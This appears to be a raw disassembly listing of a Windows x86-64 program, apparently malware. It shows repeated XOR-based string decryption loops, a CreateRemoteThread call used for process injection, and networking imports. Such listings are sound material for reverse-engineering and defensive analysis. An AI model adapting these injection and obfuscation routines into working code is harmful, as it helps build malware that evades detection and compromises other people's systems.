movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm12
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140025520
cmp r8d, 0x26
jge 0x14002564f
movsxd rax, r8d
lea r9, [rbp + 0xa58]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x140025620
lea rdx, [rbp + 0xa58]
lea rcx, [rbp + 0x1010]
call fcn.140040340
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x1010]
mov rcx, r12
call fcn.14000a6c0
nop
lea rcx, [rbp + 0x1010]
call fcn.140040140
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], r13
mov r9, r14
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x1400251ab
lea rdx, [rbp + 0x1258]
call fcn.14002eec0
mov r9, rax
cmp byte [rax + 0x12], 0
je 0x1400258af
mov r13d, ebx
cmp r15d, 2
jl 0x140025874
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r9]
xorps xmm1, xmm0
movd dword [r9], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm1, xmm0
movd dword [r9 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r9 + 8]
xorps xmm1, xmm0
movd dword [r9 + 8], xmm1
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r9 + 0xc]
xorps xmm1, xmm0
movd dword [r9 + 0xc], xmm1
mov r13d, reloc.WS2_32.dll_recv
mov r8d, r13d
add r8, r9
nop word [rax + rax]
mov eax, 0x94f2095
imul r13d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r13b
sub al, cl
add al, 0x39
xor byte [r8], al
inc r13d
lea r8, [r8 + 1]
cmp r13d, 0x13
jl 0x140025880
mov rcx, r9
call fcn.1400163d0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x12a8]
call fcn.14002eef0
mov r9, rax
cmp byte [rax + 0x19], 0
je 0x14002ee23
cmp r15d, 2
jl 0x140025b51
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [r9]
xorps xmm8, xmm0
movd dword [r9], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm11, xmm0
movd dword [r9 + 4], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm0, dword [r9 + 8]
xorps xmm10, xmm0
movd dword [r9 + 8], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, eax
paddb xmm13, xmm0
movd xmm0, dword [r9 + 0xc]
xorps xmm13, xmm0
movd dword [r9 + 0xc], xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm15, xmm0
andps xmm15, xmm12
packuswb xmm15, xmm15
packuswb xmm15, xmm15
movd xmm0, eax
paddb xmm15, xmm0
movd xmm0, dword [r9 + 0x10]
xorps xmm15, xmm0
movd dword [r9 + 0x10], xmm15
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm6, xmm0
andps xmm6, xmm12
packuswb xmm6, xmm6
packuswb xmm6, xmm6
movd xmm0, eax
paddb xmm6, xmm0
movd xmm0, dword [r9 + 0x14]
xorps xmm6, xmm0
movd dword [r9 + 0x14], xmm6
mov ebx, Ordinal_27
mov r8d, ebx
add r8, r9
nop word [rax + rax]
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, bl
sub al, cl
add al, 0x39
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x1a
jge 0x14002ee23
jmp 0x140025b60
movsd xmm0, qword [str.vJRmLP_10D]
movsd qword [rbp + 0xf0], xmm0
mov ecx, dword [0x1400d49d0]
mov dword [rbp + 0xf8], ecx
mov r8d, ebx
cmp r15d, 2
jl 0x140025cfe
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [str.vJRmLP_10D]
xorps xmm8, xmm0
movd dword [rbp + 0xf0], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm1, dword [rbp + 0xf4]
xorps xmm11, xmm1
movd dword [rbp + 0xf4], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm1, ecx
xorps xmm10, xmm1
movd dword [rbp + 0xf8], xmm10
jmp 0x140025d42
lea r9, [rbp + 0xf0]
nop word [rax + rax]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140025d10
lea rcx, [rbp + 0xf0]
call fcn.1400163d0
nop
mov rdx, qword [rbp + 0x1348]
cmp rdx, 0xf
jbe 0x140025d93
inc rdx
mov rcx, qword [rbp + 0x1330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140025d8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140025d8e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bbb20
mov qword [rbp + 0x1340], rbx
mov qword [rbp + 0x1348], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1330], 0
mov rdx, qword [rbp + 0x1368]
cmp rdx, 0xf
jbe 0x140025df0
inc rdx
mov rcx, qword [rbp + 0x1350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140025deb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140025deb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bbb20
mov qword [rbp + 0x1360], rbx
mov qword [rbp + 0x1368], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1350], 0
mov rdx, qword [rbp + 0x13b0]
cmp rdx, 0xf
jbe 0x140025e4d
inc rdx
mov rcx, qword [rbp + 0x1398]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140025e48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140025e48
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bbb20
mov qword [rbp + 0x13a8], rbx
mov qword [rbp + 0x13b0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1398], 0
mov rdx, qword [rbp + 0x13f0]
cmp rdx, 7
jbe 0x140025eac
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x13d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140025ea7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002edfb
call fcn.1400bbb20
mov qword [rbp + 0x13e8], rbx
mov qword [rbp + 0x13f0], 7
mov word [rbp + 0x13d8], bx
test rdi, rdi
je 0x14002ebb5
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14002ebb5
call fcn.14001e3c0
cmp esi, 0x309
jg case.default.0x140025f20
mov edi, reloc.WS2_32.dll_sendto
mov r13d, reloc.WS2_32.dll_recv
movdqa xmm6, xmmword [str.99999999]
je 0x14002834f
cmp esi, 7
ja case.default.0x140025f20
lea rdx, [0x140000000]
mov ecx, dword [rdx + rsi*4 + 0x2ee98]
add rcx, rdx
jmp rcx
movups xmm0, xmmword [0x1400d69c0]
movups xmmword [rbp + 0xad0], xmm0
movups xmm1, xmmword [0x1400d69d0]
movups xmmword [rbp + 0xae0], xmm1
movsd xmm0, qword [0x1400d69e0]
movsd qword [rbp + 0xaf0], xmm0
mov r8d, ebx
cmp r15d, 2
jl 0x140026067
mov edx, ebx
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0xad0]
mov r8d, dword [rbp + 0x1320]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm12
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x140025f80
jmp 0x1400260a2
lea r9, [rbp + 0xad0]
nop
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x140026070
xorps xmm0, xmm0
movups xmmword [rbp + 0x3d8], xmm0
mov qword [rbp + 0x3e8], rbx
mov qword [rbp + 0x3f0], rbx
lea rax, [rbp + 0xad0]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x1400260c4
lea rdx, [rbp + 0xad0]
lea rcx, [rbp + 0x3d8]
call fcn.140045100
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x3d8]
mov rcx, r12
call fcn.14000a6c0
nop
mov rdx, qword [rbp + 0x3f0]
cmp rdx, 0xf
jbe 0x140026139
inc rdx
mov rcx, qword [rbp + 0x3d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140026134
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002edfb
call fcn.1400bbb20
movups xmm0, xmmword [0x1400d4f90]
movups xmm4, xmmword [str.jRTSI_M_a__j___H]
movups xmmword [rbp + 0x488], xmm0
movups xmmword [rbp + 0x478], xmm4
mov byte [rbp + 0x3d8], 0
mov qword [rbp + 0x3f0], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x3e8], rbx
mov r8d, ebx
cmp r15d, 2
jl 0x140026337
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x478], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x480]
xorps xmm3, xmm0
movq qword [rbp + 0x480], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x488]
xorps xmm3, xmm0
movq qword [rbp + 0x488], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x490]
xorps xmm3, xmm0
movq qword [rbp + 0x490], xmm3
lea rdx, [rbp + 0x478]
jmp 0x14002891e
lea r9, [rbp + 0x478]
nop
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x10
jl 0x140026340
lea rdx, [rbp + 0x478]
jmp 0x14002891e
movups xmm0, xmmword [0x1400d5238]
movups xmmword [rbp + 0x7c8], xmm0
movsd xmm0, qword [0x1400d5248]
movsd qword [rbp + 0x7d8], xmm0
mov eax, dword [0x1400d5250]
mov dword [rbp + 0x7e0], eax
movzx eax, word [0x1400d5254]
mov word [rbp + 0x7e4], ax
movzx eax, byte [0x1400d5256]
mov byte [rbp + 0x7e6], al
mov r8d, ebx
cmp r15d, 2
jl 0x1400264dd
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0x7c8]
mov edx, dword [rbp + 0x1320]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm12
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400263f0
cmp r8d, 0x1f
jge 0x14002651f
movsxd rax, r8d
lea r9, [rbp + 0x7c8]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x1400264f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x3f8], xmm0
mov qword [rbp + 0x408], rbx
mov qword [rbp + 0x410], rbx
lea rax, [rbp + 0x7c8]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140026541
lea rdx, [rbp + 0x7c8]
lea rcx, [rbp + 0x3f8]
call fcn.140045100
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x3f8]
mov rcx, r12
call fcn.14000a6c0
nop
mov rdx, qword [rbp + 0x410]
cmp rdx, 0xf
jbe 0x1400265c9
inc rdx
mov qword [rbp + 0x1370], rdx
mov rcx, qword [rbp + 0x3f8]
mov qword [rbp + 0x12c8], rcx
cmp rdx, 0x1000
jb 0x1400265c4
lea rdx, [rbp + 0x1370]
lea rcx, [rbp + 0x12c8]
call fcn.140002590
mov rdx, qword [rbp + 0x1370]
mov rcx, qword [rbp + 0x12c8]
call fcn.1400bbb20
movups xmm0, xmmword [0x1400d61a8]
movups xmm4, xmmword [str.nswx]
movups xmmword [rbp + 0x428], xmm0
movups xmmword [rbp + 0x418], xmm4
mov byte [rbp + 0x3f8], 0
mov qword [rbp + 0x410], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x408], rbx
mov r8d, ebx
cmp r15d, 2
jl 0x1400267c7
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x418], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x420]
xorps xmm3, xmm0
movq qword [rbp + 0x420], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x428]
xorps xmm3, xmm0
movq qword [rbp + 0x428], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x430]
xorps xmm3, xmm0
movq qword [rbp + 0x430], xmm3
lea rdx, [rbp + 0x418]
jmp 0x14002891e
lea r9, [rbp + 0x418]
nop
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x10
jl 0x1400267d0
lea rdx, [rbp + 0x418]
jmp 0x14002891e
movups xmm0, xmmword [0x1400d51d0]
movups xmmword [rbp + 0x888], xmm0
movsd xmm0, qword [0x1400d51e0]
movsd qword [rbp + 0x898], xmm0
mov eax, dword [0x1400d51e8]
mov dword [rbp + 0x8a0], eax
movzx eax, byte [0x1400d51ec]
mov byte [rbp + 0x8a4], al
mov r8d, ebx
cmp r15d, 2
jl 0x14002695d
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0x888]
mov edx, dword [rbp + 0x1320]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
